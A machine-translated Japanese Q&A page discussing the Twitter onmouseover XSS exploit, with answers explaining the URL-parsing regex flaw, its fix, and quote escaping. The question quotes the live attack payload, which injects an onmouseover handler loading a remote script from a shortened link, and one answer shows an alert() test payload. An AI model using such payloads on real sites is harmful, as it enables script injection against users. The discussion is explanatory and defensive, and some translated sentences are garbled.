web-dev-qa-db-ja.com

Twitter.comでの今日のXSS onmouseoverエクスプロイト

今日のTwitterで何が起こったのか正確に説明できますか?基本的に、エクスプロイトは人々にこのリンクを含むツイートを投稿させていました:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.Gd\u002ffl9A7')"/

これは技術的にはXSS攻撃なのか、それとも他の何かなのか?

Twitterのホームページは次のようになっています。 http://www.flickr.com/photos/travelist/6832853140/

52
ibz

この脆弱性は、URLが適切に解析されなかったことが原因です。たとえば、次のURLがTwitterに投稿されます。

_http://thisisatest.com/@"onmouseover="alert('test xss')"/
_

TwitterはこれをURLとして扱います。解析すると、Twitterはそのコードの周りにリンクをラップするため、HTMLは次のようになります。

_<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 
_

URLと末尾のスラッシュを入力すると、引用符がエスケープできる(つまり、href属性を終了します)そこにペダント)URL属性とマウスオーバーを含みます。リンクを閉じる、スクリプト要素を含めるなど、ページに何でも書き込むことができます。また、$.getScript()を使用できるため、140文字の制限に制限されません。

これ コミットされた場合、コミットすると、このXSSの脆弱性が防止されます。

詳細には、問題の正規表現は次のとおりです。

_REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
_

_@[^\/]+\/_の部分では、前に@記号を付け、後ろにスラッシュを付けると、任意の文字(スラッシュを除く)を使用できました。

_@#{REGEXEN[:valid_general_url_path_chars]}+\/_に変更することで、有効なURL文字のみが許可されるようになりました。

38

はい、これはXSSです。これは javascript event handler を攻撃しています。このXSSの優れている点は、エクスプロイトに_<>_を必要としないことです。注入される文字列はsize:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.Gd\u002ffl9A7')"です。

_size::999999999999px_はそれを非常に大きくし、誰かがマウスをその上に置くとより好意的になります。実際の問題は、_onmouseover=_イベントハンドラーです。

PHP=でこれを防ぐには、引用符をHTMLエンティティに変換する必要があります:$var=htmlspecialchars($var,ENT_QUOTES);

これは、SQLのように引用符をエスケープできないためです:_\'_

15
rook

これはXSSエクスプロイトです。 Twitterがアップデートで認めたとおり ユーザーがJavaScriptコードを投稿することを許可しないことで、このような攻撃を防ぐことができます。常にそれを除外する必要があります。 XSSの回避の詳細については、こちらをご覧ください。 http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

1
Adam

ウィキペディアから:「クロスサイトスクリプティング(XSS)は、悪意のある攻撃者がクライアント側のスクリプトを他のユーザーが表示するWebページに挿入できるようにする、Webアプリケーションに通常見られる一種のコンピューターセキュリティの脆弱性です。」

今日の攻撃は、私にはその法案に適合します。

基本的に、Twitter.comの表示コードに何らかの解析エラーがありました。 URLをHTMLハイパーリンクに変換すると、@文字が正しく処理されず、JavaScriptイベントがHTMLリンクに挿入されていました。

0
Wade Tandy